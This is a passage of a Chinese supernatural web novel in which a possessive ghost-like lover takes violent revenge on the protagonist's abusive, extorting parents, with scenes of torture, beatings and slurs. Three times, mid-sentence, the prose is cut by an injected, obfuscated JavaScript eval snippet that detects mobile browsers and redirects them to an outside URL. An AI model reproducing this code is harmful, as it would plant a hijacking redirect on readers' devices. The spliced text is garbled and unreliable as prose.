但也不知道是不是邬言辞身上的体温让许然感觉这是一个“人”,他的大脑开始漫无边际地思考,从如何离开家到和自己的妈妈见面,最后到“原来和人一起睡觉这么暖和”的想法,竟渐渐又睡了。 醒来的时候已经快到中午了,他还是难得睡这么久。 而且,这次没有进到文游世界里,这让他又开始怀疑之前在梦境里经历的一切到底是真是假。 邬言辞忽然抓起许然的一条手臂,眼眶红红的,像是受了什么天大的委屈,问:“小然,这是怎么回事?” 许然抬眼,就看到手臂上有一个青紫的淤痕,就连整齐的牙印都还残留在上面,这不是在梦里邬言辞咬的吗?怎么会出现在现实? 许然开始感到事情在往一种越来越无法掌控的方向发展,他有些茫然,面对邬言辞的提问,一时也回答不出口,只能喃喃道:“不知道。” 邬言辞凑近许然:“昨天晚上我明明一直在小然旁边……” 话说到一半,他忽然停住了,再次仔细看那个咬痕,许然下意识觉得邬言辞又要咬自己,马上就要把手臂抽走,却被邬言辞死死按住,手臂上感到了一阵濡湿,许然抬眼,就看到邬言辞哭的上气不接下气,鼻尖和眼皮都是红的,他好像难过极了,眼泪全都洒在了许然的手臂上。 真是奇怪,明明被咬的是自己,他还没哭,邬言辞哭什么。 也不知道邬言辞明白过来了什么东西,他忽然就抓着许然的手开始道歉,一副诚惶诚恐的样子:“对不起小然,我不是故意咬你的,我以为你是坏人,但其实你和他们都不一样,你能不能不要生我的气,你不要不理我……” 许然脑袋一懵,难道邬言辞也在梦境里进了文游,不然他怎么会有这段记忆呢?于是他赶忙问出了这个问题。 谁知道邬言辞却蹙眉:“不哦,小然,我昨天晚上除了泡了会儿热水,就是在看你睡觉,我根本没有睡着呢。” “那你怎么知道这个印记是你咬的。”许然问。 “我咬的我当然能看出来呀,而且如果没记错的话,这应该是我和小然第一次见面的时候咬的吧,当时我太笨了,居然还觉得小然是坏人……”邬言辞看起来很难过,“但其实我超级超级爱小然的,所以你千万不要误会我哦。” 许然面对邬言辞时不时来上一句的表白已经免疫,得到邬言辞并不知情,但却拥有这段记忆的答案,他是十分错乱的。 难道说,他在梦中重新经历的那些剧情,就是邬言辞幻想中和自己的恋爱史? 8. 远离 正在思考之际,邬言辞已经翻出了一些消毒工具还有药膏,正轻轻给许然上药,他边上还边说:“之前都是小然给我上药,这次终于轮到我给小然上药了。” 但他的笑容又很快消失,恹恹道:“但是我希望我永远没有这个机会,我不希望小然受伤,你一受伤,我心里就好痛好痛。” 许然很想说,你根本就没有心,哪来的心痛。 但现实中的他只是说了句没事,然后便要拿起昨晚收拾好的东西出门。 直到许然打开门,邬言辞还跟在许然身后,见许然回头看自己,他露出了一个笑,黏糊糊道:“怎么啦小然?” “我要出门了。” 邬言辞理所当然道:“对呀,我陪小然出门。不然小然在外面遇到危险了怎么办?” 原来在这里等着他啊。许然在心中冷哼。 “我是小孩吗?在外面能有什么危险,”意识到说话的语气似乎重了点,许然又放柔声线,抿唇道,“你也看到了,我是去找家里人的,你跟着不合适,他们都不认识你,你就乖乖待在家里好不好?” 邬言辞没说话,但他的眼神已经出卖了他的不情愿。 许然想了想,然后露出一个大大的笑容:“要不这样,你乖乖待在家,我回来的时候就给你一个奖励,怎么样?” “奖励?”邬言辞眼睛中迸射出无限期待,就连声音都提高了几度,“小然要送给我东西?是什么东西?” “嘘,这是个秘密,你在家等我回来,不要出门,就能获得奖励,好不好?” 邬言辞的眼神开始飘向其他地方,似乎已经开始踌躇犹豫。 于是许然加大哄人的力度,伸出手温柔地在他柔软的发顶揉了两下。 他应该会喜欢这个动作的吧,虽然邬言辞很危险,但只要不触犯他的底线,邬言辞在许然面前还是乖巧的跟个小白兔似的,这都得益于邬言辞莫名其妙给自己安上的“男朋友”的帽子。 果然,如同被顺了毛的邬言辞脸颊微红,很快就答应了许然的请求。 似乎想到了什么,许然勾着邬言辞的手指,将他带进自己的卧室。 许然把窗帘拉上,让外界的阳光照射不进来,显得房间有些阴暗,分不清白天黑夜,笑着说:“反正你也不需要吃饭睡觉,你就在我房间等我回来,我没回来前,千万不要离开房间半步,懂了吗?” 邬言辞点了点头,然后捂着发红的脸,问:“那如果我想小然了,可不可以进小然的被窝里闻一下小然的味道?” “……当然可以,旁边的衣柜也随便你闻。”许然尽量不让笑容垮掉。真的,邬言辞不仅疯,还挺变态。 “谢谢小然,那你要记得回来哦,千万不要在外面忘记时间,否则我会去找你的……” 还没听完邬言辞的话,许然就直接把门关上了。 邬言辞在房内,眼神里忽然就失去了光泽,如同木偶一般维持着刚才的姿势,半晌,他才有些神经质地咬住手指,似乎极其不安,然后他又慢慢躺进被窝,汲取着许然身上淡淡的皂香,并从枕头底下拿出来一部新的手机,他的笑容逐渐扩大:“让我看看,小然会去哪里吧~” 许然拿出了唯一一把钥匙,从外面把门反锁掉,这扇门当初设计的时候出了点问题,所以从外面锁住,里面就打不开了。房间里的窗帘也拉上了,邬言辞估计没有那么快注意到时间,又或者他注意到的时候,许然早就已经远走高飞了。 许然离开家里的大门,也顺带把大门反锁了,他这么做还有一个目的,那就是让邬言辞尽量不要出去见人。 毕竟他保不齐这个城市有没有自己的读者,万一邬言辞出去乱晃被读者认出来了,引起惊慌,把自己给查进局子里了怎么办。 做完这一切,许然终于露出真心实意的笑。 没人可以束缚住他,也没人可以强迫他爱上谁,这个可笑的怪物一到自己家就把自己和他关在一起,天天一副摇尾乞怜的样子,好像以为这样就可以骗取许然的同情心,放松他的警惕性,然后将他一口吞噬,就如同他曾经玩弄过的,折磨过的剧情里的角色一样,怎么可能。 他终于要和这个怪物说再见了。 也许接下来他会回归正常的生活,也许远离了邬言辞,他就不会再进入关于文游的奇怪的梦境。 现在,他打算先去妈妈家那里住几天,后面再考虑换个地方,他妈那不能常住,毕竟她也不是个好家伙,这次回去不知道又要找他要多少钱。 许然坐了四十分钟的车才到了一个比较偏僻的老式小区里面,这里楼房错综复杂,时不时有打麻将的碰撞声穿出,个别人们发出情绪激动的方言,许然需要侧过身躲过这些人们才可以避免产生触碰,在一阵弯弯绕绕后,他终于窥见那一座属于他的屋子。 “妈,我回来了。”许然推开门,淡声道。 不过许然来的似乎正不是时候,他妈妈刘丽娜刚穿上外套,有些衣衫不整,许然有些嫌恶地皱了一下眉:“你不要和那些不三不四的人搞在一起。” 刘丽娜化着浓妆,但依旧遮掩不了皮肤上的皱纹,头发被盘起来,梳成温婉的样式,但配上这样的穿搭和妆容,只显得有些风俗,她说:“谁知道你这次来这么早?上次你给的卡,诺,放桌上了。” 许然的目光转移到木桌上的银行卡,伸手将其拿回来,手指在上面摩挲:“上次给了五万,一个月就花完了?” 刘丽娜摆手,一副愁苦的样子:“儿啊,你是不知道,我这个病治起来真的烧钱,你看你能不能再拿十万出来。” “到底什么病,跟个无底洞一样?”许然抬眸,“不是脏病吧?” 刘丽娜呸了一声,大骂道:“死孩子怎么说话的,我哪里脏了,我都说了是年纪大了点,都是一些中年人常见的通病,我把你辛辛苦苦拉扯大你连这点治病钱都不愿意出?” 哪里脏?他可是好几次看到她和不知名的男人纠缠在一起,虽然不知道是谁。 至于把自己拉扯大,更是屁话,他小时候就靠吃剩饭剩菜还有邻居送的吃食,就连学费都靠助学贷款,贫困家庭的补助一点没到自己手上,全当他爹拿去赌了。 说起他爹,许然心里更是冷笑不止,他是一个同性恋,和男人跑了不要刘丽娜了,刘丽娜就把气都撒在许然身上,但好歹还有点母性的残余,只是骂他,倒没动过手,所以才能长到现在这样。 许然早就意识到,这种家庭关系在他的骨子里生根已经腐烂发芽,才会繁衍出他这样阴郁沉闷,对待外界封闭胆小的性子。 也许他应该早点斩断这层关系的。 至少他应该像邬言辞一样,对不关心自己的家庭毫不在乎,而不是让对方一直吸着自己的血。 许然又在桌面上用手指推去了一张新的卡,他声音很淡,眼皮微微下垂,说出的话却如同冰渣一样刺入刘丽娜的心里:“这里面是两万块钱,没有多的了,以后我不会再给了,之前给了那么多年,现在就当俩不相欠吧,本来我们就没多少母子情分,这次回来,我就住几天,不对……不超过五天,我找一个宜居的城市,以后估计不回来了。” 反正 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15405353|168752||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 原本的房子是租的,快到期了,贵重物品都带走了,剩下的衣物和家具他不敢拿,怕太明显被邬言辞发现。 刘丽娜怒目圆睁,一时间没有反应过来许然会忽然提出断绝关系且不再来往,明明自许然有了独立赚钱的能力后,她也没再和对方起过大的冲突,这么一个摇钱树,怎么能就这样跑了呢? “你知道自己在说什么吗?” “我很清楚我在说什么,我很累了,我要休息了。”说完,许然就打算回房间。 刘丽娜却忽然冲过来,一把扯住他的衣服,怒吼道:“你怎么能和你那个爹一样没良心都把我抛下?你们同性恋都这样是不是,恶心,自私又自利,我就知道!从我知道你是同性恋的那天我就知道会有这么一天!” “……”许然已经疲于和刘丽娜的纠缠,不再言语,或许他也习惯了对刘丽娜保持沉默。 刘丽娜喘了几口气,口里还咒骂着什么,但想了想,又说:“……你再给我十万,我就答应不纠缠你。” “我说了,我真的没钱了。” 就在这时,之前刘丽娜出来的房间冲出了一个男人,许然甚至还没看清,脸上就传来了火辣辣的痛感,眼镜也飞到了地上,镜片出现了裂痕,在眼镜的反光里,他看到了那个本不应该出现在这里的人--他的父亲许昌。 刘丽娜刚想说什么,许昌也毫不留情地给了刘丽娜一巴掌,他掐着刘丽娜的脖子:“你他妈和哪些不三不四的偷偷勾搭在一起了?又在骂谁同性恋呢?” 刘丽娜惊恐地摇着头,哭着道:“不是,许然以为的勾搭的人一直是你,没有其他人,我是爱你的。刚才骂同性恋是为了逼许然交钱。” 许昌把刘丽娜推倒在地,恶狠狠道:“哼,我才不信,我就知道你还对那件事耿耿于怀,但那都已经是过去了,别把这个同性恋词安在我身上。” 刘丽娜连连点头。 许昌转而看向许然,揪着许然的领子,轻蔑地拍了拍他的脸:“你老子在叫你给钱,十万块,听到没?” 难怪刘丽娜一直说没钱治病,原来两个人早就不知道什么时候勾搭回去了,每年都骗他的钱还赌债呢。 许然有时候都被自己的天真和对家庭余温残留的幻想给蠢笑了,事实上,他也确实露出了一个怪异的笑,然后呸了一口血水在许昌脸上,恶声恶气道:“要钱没有,要命……要命也不给你。” 许昌声音满含威胁:“你是老子生的,给钱天经地义,我最后问你一遍给不给?” 如果说刘丽娜是不尽责,那许昌可以称得上恶劣,他酗酒,赌博,乱搞关系,打骂妻儿,每天邻居都能听到他们家传来的哭喊声。要不是许昌之前和一个男人私奔了,他都不一定可以活到今天。 许然呵了一声,凌乱刘海下的眼神充满怨恨:“你生的?那是科技进步,种猪发情给我碰上了。” 趁许昌不注意,他用尽全部力气,重重给许昌脸上也来了一巴掌,恶声:“你送我的,还给你。” 于是他们两个人很快就打了起来,可到底许然还是缺乏锻炼,很快就在地上爬不起来,但他也许是学到了邬言辞的阴晴不定,即使头破血流也笑得猖狂:“哈哈,你们要不到钱!要不到!你们会被要债的人打死的!我在地狱等你们!” 刘丽娜看着许然被打,也没有阻拦,只是对许昌道:“别打死了,老公,我们还要从他这拿钱。” 许昌也反应了过来,然后把许然像提什么不干净的垃圾一样弄到门口,他踢了脚许然的腿:“三天内,我要见到钱,否则你就等死吧。” 9. 复仇 身后的门重重关上,里面穿出男女调笑的声音,明明上一秒还被男人打的趴在地上落泪,下一秒却言笑晏晏靠在怀里撒娇。 真贱。 似乎是老天爷也不喜欢他,故意在这个时候下起了倾盆大雨,淅淅沥沥的雨点砸在污脏的地面,溅起了一朵又一朵的水花,在涟漪的水面里,他看到了自己肿起来的脸,上面还有一个清晰的巴掌印,看起来滑稽又可笑,头发乱糟糟的,身上青一块紫一块。 …… 好想进去把那一对奸夫□□都杀了,好想杀掉他们。 笑话,他才不要妥协,他会想尽一切恶毒的办法报复回来。凭什么他就要逆来顺受,凭什么一切不幸要降临在他身上。 他们好恶心,为什么要骗他,明明他已经不奢求什么了,他只是想要从“家”这个字汲取那么一点点的支撑他生活的动力,但好像现在连这个词都已经没了。 或许他早就死了,死在破碎的三观里,死在缥缈的幻想里,死在无望的童年里,现在活着的是谁,他也不知道。 总之,许然不会再停留在这个令他作呕的地方,他需要找一个安全的地方独自舔舐伤口,等伤口好了,他自然会想办法再算回这笔账。 但是……哪里是家? 他的家已经被一个怪物占据了,唯一一个由自己幻想编织而成的栖息地也在刚刚被撕碎了,身上的手机还有钱包都被许昌他们拿走了,估计是打算抵债用。 有水珠从他的睫毛滑落,刘海被雨水打湿,一缕一缕在吸附在额头上,许然拖动沉重的双腿,顺着记忆一直走,不知道走了多久,天都阴沉沉的,路上的行人也变少了,打车四十分钟,走回来却要个把小时。 他不愿意开口向路人求助,他的勇气全部都用来面对自己的原生家庭,他没有勇气再对其他人开口了,也不想对那些人说话,他们应该也不会搭理自己吧,毕竟谁见了他的样子不得大喊一句“鬼”。 …… 最终他还是下意识回到了那个有怪物的家里,他已经无路可走,也走投无路,怪物又怎么样,怪物都比那对夫妇好,至少怪物还知道给他暖.床,关心他的冷暖。而那对贱人只关心钱。 许然想到在房门里面的真正的鬼,那个怪物,他估计会被自己这副狼狈的样子吓一跳。 想到对方脸上能露出惊吓的表情,许然竟觉得心中有了扭曲的畅快。 他拿出钥匙,钥匙和锁孔重叠的声音逐渐响起,最重严丝合缝地合在了一起,门被推开,一个黑色的身影站在门口,一如初见时。 他不是锁门了吗?为什么邬言辞会站在家门口。 而且不太一样的是,邬言辞的手里拿着不知从哪来的手机,眼睛正目不转睛地盯着屏幕看,而手机的荧光照亮了他的侧脸,显得更加鬼气森森,他精致的脸上没有丝毫神色,似乎对世间的一切都不在乎,直到门被打开,才感知到了外界似的,想要立刻做出一个笑容迎接门口的人。 但这个笑容还没有展示出来,就立刻消失了,邬言辞的声音有些变形,上扬的语调陡然下坠:“……谁干的?” 没有在邬言辞脸上看到任何嫌弃和惊吓的表情,许然觉得少了点意思,躲开邬言辞就要进去,却被邬言辞拉住。 他的脸色阴沉如水,不容反抗一字一句道:“谁干的。” 许然抬起眼睫:“你说呢?” 他只去见了父母,还能是谁干的。 邬言辞黑色的眸忽然定住,就好像发现了目标的猎人,他的缓缓转动脖子,轻柔地抚过许然脸上的伤口,然后又在那个巴掌印上按了一下,引起许然发出来“嘶”的呼声。 “知道疼了?”邬言辞寒声道。 但说完,他神情又柔和下来,轻轻在伤口吹了两下,眼眶蓄满了眼泪,好像疼的人是他,声音哽咽:“我不是故意弄疼你的,小然,但是我好生气好难过啊,为什么你不愿意听我的话,为什么要到外面去,为什么要让他们看到你,为什么要让他们伤害你,为什么?” 他的语气一句比一句重,说到后面整个人在发抖,但最后却只说了一句很轻很轻的话,前后形成了强烈对比,让人感到怪异和毛骨悚然:“我要让他们付出代价。” “一切伤害小然的人,都会付出代价--” 虽然面前的怪物很不正常,但却让许然感受到了久违的温暖,他竟不再害怕,伸手抹掉邬言辞脸上的泪痕:“你要帮我复仇吗?” “当然要。”邬言辞的手叠上许然抚摸自己的手。 “为什么?”许然看着他的眼睛,低垂着睫毛问。 一个毫不犹豫的答案脱口而出:“因为我爱你。” “……好,”许然想到那对狗男女,慢慢踮起脚尖,唇擦过邬言辞的耳尖,引起邬言辞的战栗,他说,“我改变主意了,原本我说过,我回来的时候要给你奖励,现在我打算给你一个更好的奖励,你别他们弄出人命,给闹大了就行。” 许然对抗不了那对贱人,但邬言辞不一样啊,邬言辞够疯,够残忍,够阴晴不定,而且他不是人,死不了,法律也没法追究责任到一个鬼东西上面。 “都听小然的,”邬言辞的耳尖红了,有些期盼地看着许然,“不过小然要先擦药膏,伤口才会好起来。” 说完,他便引着许然坐下,然后给他一点点擦药:“没想到这么快又要给小然上药了,小然,你要记住,以后不要再受伤了。” 接着,他便像是不经意一样,幽幽道:“否则以后小然就再也不能出门啦,只能永远待在家,看不到别人了,只能永远永远看着我,只能和我一个人说话,只能和我一起吃饭,和我一起睡觉……” 他越说越激动,仿佛已经想到了什么美好的未来,就连擦药的手都开始抖了起来。 许然:“……你好好擦。” 邬言辞奇怪的笑了一声,才恢复正常道:“好的,宝宝。” 许然身上的衣服都湿了,于是他便打算先去洗个澡换身衣裳,邬言辞似乎很想跟进来,但许然直接把门锁了,邬言辞便乖巧的没有再作妖。 洗完出来的时候,邬言辞已经不在了,许然下意识想打开客厅的门,出去看看邬言辞是不是在小区附近瞎晃,他还真有点怕有人认出邬言辞的脸的,结果发现客厅的门被人从外面反锁了,他竟是出去不了。 算了……他等邬言辞回来就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15405354|168752||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是了。 -- 凌晨三点。 刘丽娜在床上不断流着冷汗,好像陷入了什么可怕的梦境,她奋力登着手脚,有什么无形的东西正缠绕着她,让她挣扎不得。 梦里,自己正在厨房为许昌准备午饭,一个陌生的俊美男生走到自己旁边,问她:“你在做什么菜呀?” 这人长的跟电影明星似的,全身上下气度非凡,一双黑色的水墨般的眼睛正笑盈盈地看着自己,刘丽娜一时乱了手脚,又一些不好意思:“你是谁,你怎么会出现在我家?” “我是小然请来做客的客人,你忘记了吗?”客人的声音清冽好听,如同泉水一般让人心生好感。 刘丽娜的脑中忽然就出现了许然说要邀请同学回家做客的片段,记得自己那时候还臭骂了许然一顿,自己家里都吃不饱,还请别人。 许然怎么不早点说这个同学长的这么好看,而且一看就很有钱。 “我当然记得了,”刘丽娜挽了下耳边的碎发,笑道,“你去餐桌上等着就可以了。” “那怎么行,我来帮忙打下手吧,”少年轻笑着,问出一个问题,“你喜欢吃红烧狮子头吗?” 刘丽娜切菜的手顿了一下:“你想吃是吗,我做给你吃。” “我的厨艺很好,也许我可以来做这道菜,让你们尝尝我的手艺。” 说完,少年打开锅灶,将锅烧干,又往里面加入食用油,他的手法很熟练,像是多次练习产生的结果。 忽然他哎呀了一声:“好像加多了。” 刘丽娜看了眼,发现他已经加了半锅的油,这也太浪费了,她生出不满的情绪,但想到这个男生的家庭背景,又笑吟吟道:“哎哟没事,这算什么。” 少年低低笑了一声,然后看着她缓声道:“阿姨不介意就好,不过我好像还差了一个食材……” 刘丽娜莫名感觉到不寒而栗,身上的机关不断发出悲鸣的警告,好像再告诉她,这个人很危险,快远离,快远离!她不由自主地想往外跑,脸色变得不太对劲,快速道:“差什么食材?冰箱里应该有,我去拿。” 少年不知何时从灶锅前走到了她的身后,冰冷的手掐住她的脖子,他阴沉着一张脸,声音带着笑意:“不可以走哦。菜还没有做完呢~” “红烧狮子头……红烧狮子头……” “最重要的食材,当然是头啦!” 刘丽娜惊恐万分,双腿发软,她想反抗,却根本无法挣脱,她被掐至无法呼吸,发不出声音,只能被少年拖到油锅前,里面的热油滚烫,甚至有的已经飞溅到了她的脸庞,传来轻微的刺痛感。 少年却仿佛看到了什么极其好玩的事情,开怀大笑,在她身侧落下一语:“欺负了我家小然,当然要做一道美食来赔礼道歉啦,你说对吗?” 刘丽娜混浊的眼中流出泪水,她惊恐又害怕,还带着后悔,喉咙里艰难地发出“救--”的声音。 但呼救声还没喊出口,刘丽娜就眼见着自己的头被按入了油锅之中。 啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊-- 10. 怪物 刘丽娜终于从睡梦中醒来,她满头大汗,似乎刚从死神那里逃出来:“……还好,还好是梦。” 她拍着自己的胸脯,安慰着自己。 睡梦中的经历太过真实,导致她整个人精神萎靡,忽然,她感觉脖子上有痛感传来,于是她拿起了床头柜的梳妆镜,想查看到底是怎么回事。 脖子上五指清晰的掐痕在镜子里显现出来,她的手一下没拿住,镜子摔在了地上,破碎的镜片将刘丽娜的脸划出了一个口子,就像有人嘲笑着拍过她的脸庞。 “不是梦……”她流下眼泪,“这不是梦……” -- 老旧的居民楼里的路灯昏昏暗暗,仅仅有那么一两盏还负重工作,在漆黑的夜里亮起微弱的黄色灯光。 许昌喝了酒,提着酒瓶子在路上走的摇摇晃晃,似乎一个黑影和他擦肩而过,把他撞了一下,差点将酒瓶子给撞倒了,他一下怒火中烧,朝那人骂道:“去你的畜牲!你再碰老子一下老子把你手给剁了!” 骂完,他一看,背后根本没人,只有昏黄的灯光因为年久失修而不停闪烁着。许昌以为是自己酒喝多了,产生了错觉,便没有再管,继续朝着家的方向半眯着眼摇摇摆摆地走去。 忽的,他肩膀又被撞了一下,许昌伸手,想抓住那个人,却还是没看见任何东西,这下他的酒终于醒了,就见旁边昏黄的灯光不知道什么时候熄灭了,无人的巷子一时间漆黑一片。 许昌的步子不稳,往后倒退几步,就发现自己撞到了一个冰冷的物品上,他转过身,发现是位容貌极其跌丽的少年悄无声息地站在了他身后。 他是从哪冒出来的?为什么一点声音都没有?他又是什么时候来的? 许昌喝了酒的大脑始终有些混沌,他在少年的胸膛轻蔑地拍了几下:“滚开,毛都没长齐的小屁孩,挡着我路了。” 少年伸手,在他脸上那个被许然打出的巴掌印上比了一下,唇角带笑:“哇哦,这是我家小然宝宝扇的吧?真带感。” 许昌听到面前人和许然有关系,还喊许然宝宝,立刻精神起来:“操,你是他对象啊,是的话就把钱拿出来,许然那个贱……” 话没说完,邬言辞就一把抓住了他的头发往上扯,甚至力气已经大到已经扯掉了一部分黑白参半的头发,导致头皮也开始渗血:“对小然说话放尊重点。” 许昌疼得龇牙咧嘴,立刻认识到面前这个人是个不好惹的,真没想到他那废物儿子能找到这么一个对象,他眼神一暗,必须要从他们身上狠狠捞一笔才行。 “行行行,我错了行了吧,把手放开,你们给钱,我也不纠缠你们。”许昌是个软柿子,知道自己打不过也不硬来,只要有钱,怎样都行。 然而邬言辞却根本没有听许昌说话,只是目光在他脸上残留的巴掌上停了许久,带着渴望和羡慕,轻声道:“被小然扇爽不爽啊?” 许昌一下说不出话来,觉得少年是在侮辱自己,刚要骂人,头皮又被往上扯了扯,传来一阵揪心的疼痛。 “比巴掌更先到来的是小然手上的香味啊,”邬言辞嘴角向下,就像没有得到心仪玩具的孩子,“他都没有摸过我的脸,真是好羡慕,好羡慕你啊。” 许昌完全不能理解面前人的行为,他想辩解什么,想开口说点什么,但是不知道为什么,他的喉咙发不出声音,他也动不了,只能眼睁睁的看着邬言辞从他口袋里拿出来那张属于许然的银行卡和钱包。 他笑着说:“找到宝宝的东西了,回去他肯定会给我奖励的。” 邬言辞话题陡然一转,黑漆漆的眼珠看向了许昌,唇角弧度不变:“至于你--碰过小然的手,可以剁掉了。” 说完,他就从口袋里拿出一把雪亮的匕首,开始在许昌的手腕比划,似乎在研究从哪下刀。 许昌吓的简直要跪在地上,可他还是动不了分毫,也不能开口求饶,到底怎么会这样!面前的少年到底是什么身份!他又对自己做了什么! “但是小然说不要闹出人命,”邬言辞有些苦恼道,“让我想想,我该怎么惩罚你这个坏家伙,小然才会对我笑一笑呢?” “哦!想到了。”邬言辞拿过许昌手里的酒瓶,然后把许昌的手直直地摆在了空中,他晃了晃酒瓶子里的液体,露出一个恶意满满的笑容,然后将酒瓶里的液体从空中倒下,透明的液体便落了下来。 可里面的液体居然不是酒,而是滚烫的开水。 许昌的手不受控制地颤抖,白色的热气在空气中冉冉升起,他看着自己的双手变红,然后起了一个又一个透明的水泡,他想尖叫,想逃离,却只能留下恐惧的眼泪。 “这样,应该可以了吧?” -- 许然昨天是在是太累了,醒来的时候已经日上三竿了,邬言辞坐在床边,盯着手机看,心情似乎很愉快。 床头柜上放着他在那个家里丢失的眼镜,还有被抢走的钱包和手机。不得不说,邬言辞办事效率真挺高的。 邬言辞发现许然醒来了,拿着手机伸到许然面前看,弯着眸,像是邀功的忠诚宠物:“小然你看。” 手机里面正在播放视频,刘丽娜和许昌的身影出现在里面,他们的神情看起来恐惧且疲惫。 邬言辞没有出现在镜头里,只是说了句“开始”,两人就跪下,开始齐声道:“对不起,许……” “啧,”邬言辞发出来不耐的声音,“你们没有资格喊他的名字。” 两人瑟瑟发抖,小心地看向邬言辞,见他没有责罚的意思,刘丽娜才继续道:“是我们没有尽到父母的责任,一切都是我们不好,我们罪该万死,剩余的钱还有之前的两万都放回卡里了,你放过我们吧。” 许昌咬着牙,也低头道:“对不起,是我们错了。你原谅我们吧。” 他们两个絮絮叨叨了许久,无非就是两个人承认错误,痛骂自己有多不是人的戏码。 视频不长,很快就结束了,但许然心里却只有一个‘爽’字。他说了,伤害他的人会付出代价的,他也确实做到了,至于用什么方法,那不重要。 许然算是发现了,只要不惹恼邬言辞,基本上是许然说东,他就不会往西走,可以说是在自己面前收起了所有的爪牙,一开始的囚禁,也只是怕自己离开他而已。而这次邬言辞成功的报复,让许然对他另眼相看,心里也起了不可说的心思,也许他可以好好利用 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15405355|168752||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这个由他创造的怪物。 不过,邬言辞的手机是哪里来的?之前在刚回家的时候也见到过他拿着手机,不知道在看什么东西。许然这样想着,也就这样问了出来。 “读者在为了我充值游戏的时候花了不少钱,我把他们充值的金额存进银行卡带出来了,买了一些有用的东西,这样以后也比较方便我一直养着小然。” 居然还有这种操作,这许然真没想到。这个文游他做了好几年,剧情高达百万字,他人气又高,那邬言辞岂不是一个隐形的小富豪? 邬言辞似乎很不满意许然偏离了话题,扯了扯他的袖子,期盼道:“小然,你说给我的奖励是什么呀?” “这个呀……”许然不着急,而是先问了邬言辞一个问题,“你觉得同性恋恶心吗?” “应该是不恶心的。”邬言辞认真回答。 “为什么呢?”明明刘丽娜和许昌都觉得他很恶心,尤其是许昌,他自己都是和男人玩到一起过的,有什么资格说他。 “因为同性恋只是恰好喜欢上了一个和自己相同性别的人而已,这没有什么稀奇的,就像我会无可救药地爱上小然一样。”邬言辞眼含柔情,里面满满都是爱意。 “是啊,这么简单的道理,世人怎么不懂呢。”许然忽然不再惧怕邬言辞,反而伸出手指从邬言辞的脸庞一直抚弄到嘴唇,他碾着对方樱桃般红艳的唇,轻声道,“闭眼,邬言辞。” 自己是同性恋又怎么样,他就是喜欢男人,他们看不起自己,但总有人会理解他,比如面前这个怪物,虽然他不是人,但他属实是条好狗,是一条忠实的,听命于他的,乖巧的小狗。 噢不,或许他们本质上都是一样的怪物,他也早就在世俗里漂泊,沉沦于无尽的深海之中。 于是他放任自己沉沦,蛊惑地笑道:“记住,这就是我给你的奖励,是讨主人欢心的小怪物才有的奖励。” 他在邬言辞的唇畔轻轻落下一吻,又逼着自己慢慢伸出舌头舔.弄着对方的唇缝,但这时间极短,还没等邬言辞配合,许然就已经脱身离开。 邬言辞就像个被天上的馅饼砸傻了一般,半天没有动静,可是战栗的手和脸颊的红晕却掩饰不了他的激动。 他立刻用力抱住许然,痴恋道:“小然主动亲我了,小然亲了我,呜呜呜呜……小然,你好爱我啊,我也好爱你……” 说完他又激动地凑近许然,想要继续刚才那个吻,许然却略微偏头一躲,那个吻便落在了唇角。 “不可以,邬言辞,”许然靠在邬言辞怀里,用一根葱白的手指点在邬言辞没有心脏的胸口,“主人没有命令,你是不可以随便亲吻我的。如果你不听话,我就不爱你了。” “我听话!我听话!我是最听话的,我愿意为了你做任何事情,哪怕是死,小然。”邬言辞红着脸表忠心,说完又可怜巴巴地搂着许然,眼神不断往他的唇上瞟。 “可是小然,我不知道你会给我这样的奖励,我刚刚太紧张太激动了,我没有发挥好,我没有发挥好啊,小然,你再给我一次机会吧,让我亲亲你……” 邬言辞的声音委屈的像要落下泪来:“让我再亲亲你,求你了,宝宝。” 11. 闭眼 --只要我幸福,谁痛苦都可以。 许然露出一个笑:“不可以,我饿了,去做饭。” 邬言辞喘着气,唇还不断在许然的颈侧摩擦,就好像下一秒就会咬在那最致命的跳动着的血管上,但他最后只是恨恨地磨了两下,便没有再动作。 如果不听话的话,许然就不爱他了。 许然不可以不爱他。 这比死亡还要让他痛苦。 面对许然下发的命令,邬言辞只能遵守,离开时恋恋不舍地看了许然两眼。 吃过饭,许然看了下冰箱,发现剩的食材不多了,于是问邬言辞要不要一起出去买食材。 邬言辞黏在许然身上,弯眸道:“好呀,虽然不是很想小然出门,但是带上我的话还是可以的。” 许然对带不带邬言辞这点倒是无所谓,他揉着邬言辞头顶的软发,已然把他当成了一个听话的犬类,他想,宠物自然是偶尔需要带出去透透气的,也能给自己解闷。 